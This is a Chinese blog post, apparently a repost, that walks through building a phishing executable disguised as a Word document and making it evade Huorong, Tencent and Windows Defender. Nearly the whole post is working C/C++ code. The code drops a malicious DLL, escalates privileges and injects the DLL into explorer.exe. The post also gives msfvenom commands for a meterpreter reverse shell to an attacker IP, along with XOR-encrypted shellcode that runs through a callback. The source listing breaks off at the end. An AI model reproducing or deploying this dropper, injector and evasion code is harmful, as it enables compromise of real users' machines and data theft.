实战 | 记一次Word文档网络钓鱼以及绕过火绒,电
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
**** 本文章仅供教学为目的,若该文章的技术造成财产损失,本文作者概不负责 ****
虚拟机环境
Kali Linux IP: 192.168.107.128
Windows Defender: 192.168.107.136
Windows Huorong: 192.168.107.131
Windows Tencent Anti-Virus: 192.168.107.1
程序分析
可执行过程
1. 当我们打开可执行文件时,我们将得到看起来像普通文档文件一样的Word文件窗口,同时我们在目录公共下载中提取恶意DLL文件。
2. 我们将在explorer.Exe中注入恶意的DLL文件,黑客将在他的机器中获取meterpreter shell。
3. 在受害者机器中删除自身程序并保持正常的Word文件
网络钓鱼部分
我们如何将Word文件存储在可执行文件中?
image.png
Visual Studio -> Resources Files -> Add -> Resouce -> import -> choose your Word file -> input docx type
image.pngimage.png
恶意DLL文件将自身存储在可执行文件中的方式相同。
image.pngimage.png
我们如何释放资源?
// Initialize the variables char PathFileName[MAX_PATH] = { 0 }; char FileName[MAX_PATH] = { 0 }; char Dllpath[2*MAX_PATH] = "C:\Users\Public\Downloads\acvfunc.dll"; char FileType[10] = { 0 }; // Word File Resource Variables HRSRC Resource; HGLOBAL ResourceGlobal; DWORD FileSize; // DLL File Resource Variables HRSRC DLL_Resource; HGLOBAL DLL_ResourceGlobal; DWORD DLL_FileSize;
在可执行文件中找到资源,将它们加载并锁定在void pointer中
// FindResourceA // LoadResource Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx"); DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "dll"); ResourceGlobal = LoadResource(NULL, Resource); DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource); FileSize = SizeofResource(NULL, Resource); DLL_FileSize = SizeofResource(NULL, DLL_Resource); // Lock the resource in void* pointer LPVOID PFILE = LockResource(ResourceGlobal); LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);
我将文件名修改为程序名称,大家可以修改您想要的任何名称。
// Get the program name GetModuleFileNameA(NULL, PathFileName, MAX_PATH); strcpy_s(FileName, strrchr(PathFileName, '\') + 1); // phishing.exe -> phishing.docx // modify the suffix for (size_t i = 0; i < MAX_PATH; i++) { if (FileName[i] == '.') { FileName[i + 1] = 'd'; FileName[i + 2] = 'o'; FileName[i + 3] = 'c'; FileName[i + 4] = 'x'; break; } } // Create a file and write the resource in it HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL); DWORD dwSize; WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
使用ShellExecuteExA函数打开Word文件
// open the docx file SHELLEXECUTEINFOA shellexc = { 0 }; shellexc.cbSize = sizeof(shellexc); shellexc.lpFile = FileName; shellexc.nShow = SW_SHOW; ShellExecuteExA(&shellexc); // Donot forget close handle or you will get wrong :-( CloseHandle(FILE);
在公共路径中写入恶意DLL文件
// Sleep(10000); // To bypass Windows Deferder, Windows defender will scan the file in 10s when you execute the file as an administrator privilege. HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL); DWORD dllSize; WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL); CloseHandle(DLLFILE);
整个释放资源功能函数如下
#pragma once #include "Basic.h" // "Basic.h" include Windows.h and iostream void free_resource() { // Get File Name char PathFileName[MAX_PATH] = { 0 }; char FileName[MAX_PATH] = { 0 }; char Dllpath[2*MAX_PATH] = "C:\Users\Public\Downloads\acvfunc.dll"; char FileType[10] = { 0 }; HRSRC Resource; HGLOBAL ResourceGlobal; DWORD FileSize; HRSRC DLL_Resource; HGLOBAL DLL_ResourceGlobal; DWORD DLL_FileSize; Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx"); DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "dll"); ResourceGlobal = LoadResource(NULL, Resource); DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource); FileSize = SizeofResource(NULL, Resource); DLL_FileSize = SizeofResource(NULL, DLL_Resource); LPVOID PFILE = LockResource(ResourceGlobal); LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal); GetModuleFileNameA(NULL, PathFileName, MAX_PATH); strcpy_s(FileName, strrchr(PathFileName, '\') + 1); for (size_t i = 0; i < MAX_PATH; i++) { if (FileName[i] == '.') { FileName[i + 1] = 'd'; FileName[i + 2] = 'o'; FileName[i + 3] = 'c'; FileName[i + 4] = 'x'; break; } } // Create a file and write the resource in it HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL); DWORD dwSize; WriteFile(FILE, PFILE, FileSize, &dwSize, NULL); // Create DLL FILE // open the docx file SHELLEXECUTEINFOA shellexc = { 0 }; shellexc.cbSize = sizeof(shellexc); shellexc.lpFile = FileName; shellexc.nShow = SW_SHOW; ShellExecuteExA(&shellexc); CloseHandle(FILE); HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL); DWORD dllSize; WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL); CloseHandle(DLLFILE); }
我们如何在explorer.Exe进程中注入恶意软件?
确保我们有较高的特权注入,否则我们将注入失败。
加载恶意DLL
打开explorer.Exe句柄
分配 **读写可执行文件 **DLL的内存
从kernel32.dll获取LoadLibaryA函数地址
在explorer.Exe进程下创建远程线程。
提权部分
// initialize variable HANDLE hToken = NULL; LUID luidValue = { 0 }; TOKEN_PRIVILEGES tokenPrivileges = { 0 }; BOOL bRet = FALSE
检查我们是否像管理员一样获得高特权
bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken); if (bRet == FALSE) { ShowError("OpenProcessToken"); return FALSE; } // Get Local System pszPrivileges LUID Value bRet = LookupPrivilegeValueA(NULL, pszPrivilegesName, &luidValue); if (bRet == FALSE) { ShowError("LookupPrivilegeValueA"); return FALSE; }
如果我们得到了查找特权值,我们可以尝试在程序中提升我们的权限
// Set Improve Privileges info tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Privileges[0].Luid = luidValue; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Privilege Escalation bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, 0, NULL); if (bRet == FALSE) { ShowError("AdjustTokenPrivileges"); return FALSE; } else { dwRet = GetLastError(); if (dwRet == ERROR_SUCCESS) { return TRUE; } else if (dwRet == ERROR_NOT_ALL_ASSIGNED) { ShowError("ERROR_NOT_ALL_ASSIGNED"); return FALSE; } }
整个提权部分
BOOL EnablePrivileges(HANDLE hProcess, LPCSTR pszPrivilegesName) { HANDLE hToken = NULL; LUID luidValue = { 0 }; TOKEN_PRIVILEGES tokenPrivileges = { 0 }; BOOL bRet = FALSE; DWORD dwRet = 0; bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken); if (bRet == FALSE) { ShowError("OpenProcessToken"); return FALSE; } // Get Local System pszPrivileges LUID Value bRet = LookupPrivilegeValueA(NULL, pszPrivilegesName, &luidValue); if (bRet == FALSE) { ShowError("LookupPrivilegeValueA"); return FALSE; } // Set Improve Privileges info tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Privileges[0].Luid = luidValue; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Privilege Escalation bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, 0, NULL); if (bRet == FALSE) { ShowError("AdjustTokenPrivileges"); return FALSE; } else { dwRet = GetLastError(); if (dwRet == ERROR_SUCCESS) { return TRUE; } else if (dwRet == ERROR_NOT_ALL_ASSIGNED) { ShowError("ERROR_NOT_ALL_ASSIGNED"); return FALSE; } } return FALSE; }
注入DLL部分
// Initialize variable HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL;
分配内存
//allocated memory in the injection process dwSize = 1 + strlen(pszDllFileName); pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; }
在进程中写入恶意DLL文件
//Write data to the allocated memory if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; }
获取加载DLL文件函数地址
// Get LoadLibraryA function address pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; }
在进程下创建线程
// Use CreateRemoteThread to create a remote thread and implement DLL injection HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL); if (NULL == hRemoteThread) { ShowError("CreateRemoteThread"); return FALSE; } // Close handle CloseHandle(hProcess);
整个注入功能部分
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, const char* pszDllFileName){ HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; // Get Process Handle hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } //allocated memory in the injection process dwSize = 1 + strlen(pszDllFileName); pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; } //Write data to the allocated memory if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; } // Get LoadLibraryA function address pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; } // Use CreateRemoteThread to create a remote thread and implement DLL injection HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL); if (NULL == hRemoteThread) { ShowError("CreateRemoteThread"); return FALSE; } // Close handle CloseHandle(hProcess); return TRUE;}
最重要的是,网络钓鱼部分已经结束,
下一部分是如何绕过 火绒,腾讯电脑管家(其实和火绒一样,具体过程略)和 Windows Defender。
绕过部分
如何创建恶意的DLL文件?
老实说,我脑海中的第一个想法是通过msfvenom创建DLL。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.107.128 LPORT=4450 -f dll -0 malicious_dll.dll
但它将被火绒、腾讯电脑管家和 Windows Defender 检测到。因为 msfvenom 的特征码已经被各大厂商盯死了,DLL文件一落地直接被查杀
image.pngimage.pngimage.png
所以我们必须自己编写DLL文件来绕过检测。如果我们的DLL文件安全着陆,我们已经绕过了防病毒静态检测。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.107.128 LPORT=4450 -f c -v shellcode
使用msfvenom 创建 shellcode
image.png
ShellCode 加密
我们可以使用最简单的XOR加密来装饰shellcode。有很多种加密方式,但是我觉得shellcode加密只是绕过静态查杀,所以目的只是绕过静态查杀就行。相比于通信加密,shellcode的加密技术可以比较简单。
unsigned char encryptedShellcode[] = "xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50" "x52x51x48x31xd2x65x48x8bx52x60x56x48x8bx52" "x18x48x8bx52x20x4dx31xc9x48x8bx72x50x48x0f" "xb7x4ax4ax48x31xc0xacx3cx61x7cx02x2cx20x41" "xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52" "x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x0f" "x85x72x00x00x00x8bx80x88x00x00x00x48x85xc0" "x74x67x48x01xd0x44x8bx40x20x49x01xd0x50x8b" "x48x18xe3x56x48xffxc9x41x8bx34x88x4dx31xc9" "x48x01xd6x48x31xc0xacx41xc1xc9x0dx41x01xc1" "x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8" "x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44" "x8bx40x1cx49x01xd0x41x8bx04x88x41x58x48x01" "xd0x41x58x5ex59x5ax41x58x41x59x41x5ax48x83" "xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9" "x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00" "x00x41x56x49x89xe6x48x81xecxa0x01x00x00x49" "x89xe5x49xbcx02x00x11x62xc0xa8x6bx80x41x54" "x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5" "x4cx89xeax68x01x01x00x00x59x41xbax29x80x6b" "x00xffxd5x6ax0ax41x5ex50x50x4dx31xc9x4dx31" "xc0x48xffxc0x48x89xc2x48xffxc0x48x89xc1x41" "xbaxeax0fxdfxe0xffxd5x48x89xc7x6ax10x41x58" "x4cx89xe2x48x89xf9x41xbax99xa5x74x61xffxd5" "x85xc0x74x0ax49xffxcex75xe5xe8x93x00x00x00" "x48x83xecx10x48x89xe2x4dx31xc9x6ax04x41x58" "x48x89xf9x41xbax02xd9xc8x5fxffxd5x83xf8x00" "x7ex55x48x83xc4x20x5ex89xf6x6ax40x41x59x68" "x00x10x00x00x41x58x48x89xf2x48x31xc9x41xba" "x58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31" "xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9" "xc8x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68" "x00x40x00x00x41x58x6ax00x5ax41xbax0bx2fx0f" "x30xffxd5x57x59x41xbax75x6ex4dx61xffxd5x49" "xffxcexe9x3cxffxffxffx48x01xc3x48x29xc6x48" "x85xf6x75xb4x41xffxe7x58x6ax00x59x49xc7xc2" "xf0xb5xa2x56xffxd5"; char key[] = "lkdajsdwqe,sadlqwe:_)"; char cipherType[] = "xor"; // Char array to host the deciphered shellcode unsigned char shellcode[sizeof encryptedShellcode]; unsigned char shellcode2[sizeof encryptedShellcode]; std::cout << encryptedShellcode << std::endl; printf("nnn"); // XOR decoding stub using the key defined above must be the same as the encoding key int j = 0; for (int i = 0; i < sizeof encryptedShellcode; i++) { if (j == sizeof key - 1) j = 0; // shellcode[sizeof encryptedShellcode - 1 - i] = encryptedShellcode[i]; shellcode[i] = (encryptedShellcode[i] + 0x72) ^ key[j] ; // shellcode[i] = (shellcode[i] ^ key[j]) - 0x72; // shellcode[i] = encryptedShellcode[i] ^ key[j]; j++; } for (int i = 0; i < sizeof encryptedShellcode; i++) { printf("\x%x", shellcode[i]); }
我们可以得到加密的 shellcode.
image.png
解密
unsigned char E_shellcode[] = "x2xd1x91x37x8x29x5ax5x3x17x9fxb0xd2xa6xa8xb2xcdxc6x7ex88x93x91xafxb6xa9xd0x8exa0xfdxcbx98xe8xe1xdexc7x57xcbx8ax81xf8xe5xa8x45xd7xd8xdbxc9x41x7axd9xa2x8bx58xedxf3xd7x5fx4ax8xd6x49x6cx7dx33xafxd7xa2xd0x8exa0xe5x8cxd1x82xc9x12x26xb4x82x9dxefx47x2bxa8x9bx8fx16x13x18x8ex96x8dx3x17x5exc9x96x56x8axa8xcdx16x78xe9xd4xdexf9xdfx12x28xb1x99xcdxfbx30xe4xc9x10x5fxdfx8cxd1x9fx85xfcx12xd6x18x2cxdbxc9x41x7axc4x42x5ex53xc0x12x57xc6x23x90x6x84x2ax97xfax11xd3xcax29x94x2exbdxc7x98x9exe5xdax17x2exa9xc4x98x44xe5x9fx91xd9xeaxdax19x31xd7x8ax7x9fx9fxb9xdbx17x2exc2xbdxb5xf1x93x9axa6xd8xafxd2xa6xc9x91x29xe3xd6xe8x2x33xaexdfxbaxbbxdfxc7xdbx72xd1x1ax15x10xa5xc8x54x9ex94xc1xfdxd6xc5x16x1exc2xbfxdexc1x7x93x9fx35x76x12x18x1xdfx8cx26xdex2x7x13xe7xb8x43x6dxb8xc8xecxefxd7x90x32xdfx91x10xd7x5bxcfx8cxb4xax10x23xd2x8ax2bxbfx49x2cx5bx1exa0xd7x4dxf1x81xb9x5x0x22xf0xfxd2xb4xaexb3xc8xc6x1xe0x8ax5exd1x15x53xd0x88x50xcdx0x57x96x88x52xd7x40x2dxf6x34x68x2ex6exd6x90x5dxbdxe8xc0xaexc9x8ax31x96x88xaxd7x40x7ax60x83xe9x2ex6ex9bx59x82x1dxd1x2x24x90x26x3fx29x1x13x16xd6x84x29xe7x80xa4x7dxd3xc8x5fxbdx1cxc0xaexcdx8axex9fx5fx15x2fx56xa0x6x22xcfx35x5bx9cxacxdex94x5cxe1xb4x8cx19xb9x9exc0xaaxbex1exf3x5x17x89x95x93x97xfxdexc2x51xc0x48xbdx67xa0x7bx2x26xdex97x44xccx9ex3xe0x8ax57xd0x9fx3xd0x88x28xcdx8axex9fx5fx15x2fx56xa0x6x22xcfx35x5bx83xf1xaexd2xa3xb8xbex5xc3x17x5exc0xabxb8x1exbdxc4x49x47xfexa8xcex1ax23xa8xa1xc0x48x90x91xdaxffx2x26xdfx1dx31x2cxcbx4bx2ex58xd6x18x51xdbxf1x4bxdex80x19x82xaxc0x10x3dxa6xadx5xaex81x66x1dxex4cx70xa9x1bx34x16"; unsigned char* decrypt() { unsigned char shellcode[sizeof E_shellcode]; int j = 0; char key[] = "lkdajsdwqe,sadlqwe:_)"; for (int i = 0; i < sizeof E_shellcode; i++) { if (j == sizeof key - 1) j = 0; shellcode[i] = (E_shellcode[i] ^ key[j]) - 0x72; j++; } return shellcode; }
jmp_shellcode 函数 通过回调函数,来直接执行shellcode
DWORD WINAPI jmp_shellcode(LPVOID pPara){ unsigned char* addrShellcode = decrypt(); DWORD dwOldPro = 0; BOOL ifExec = VirtualProtect(addrShellcode, sizeof(E_shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro); // Callback function can bypass a lot of Anti-Virus softwares EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0); return 0;}
DLL MAIN 函数
HANDLE hThread = NULL;BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { decrypt(); DisableThreadLibraryCalls(hModule); hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0); MessageBox(NULL, L"You are hacked ", L"Hacked by Leviathan", MB_OK); } else if (dwReason == DLL_PROCESS_DETACH) { } return TRUE;}
整个DLL_File源代码
// dllmain.cpp : Defines the entry point for the DLL application. #include "pch.h" #include
- 上一篇:实战 | 记一次解析漏洞渗透经历
- 下一篇:记一次组合拳渗透测试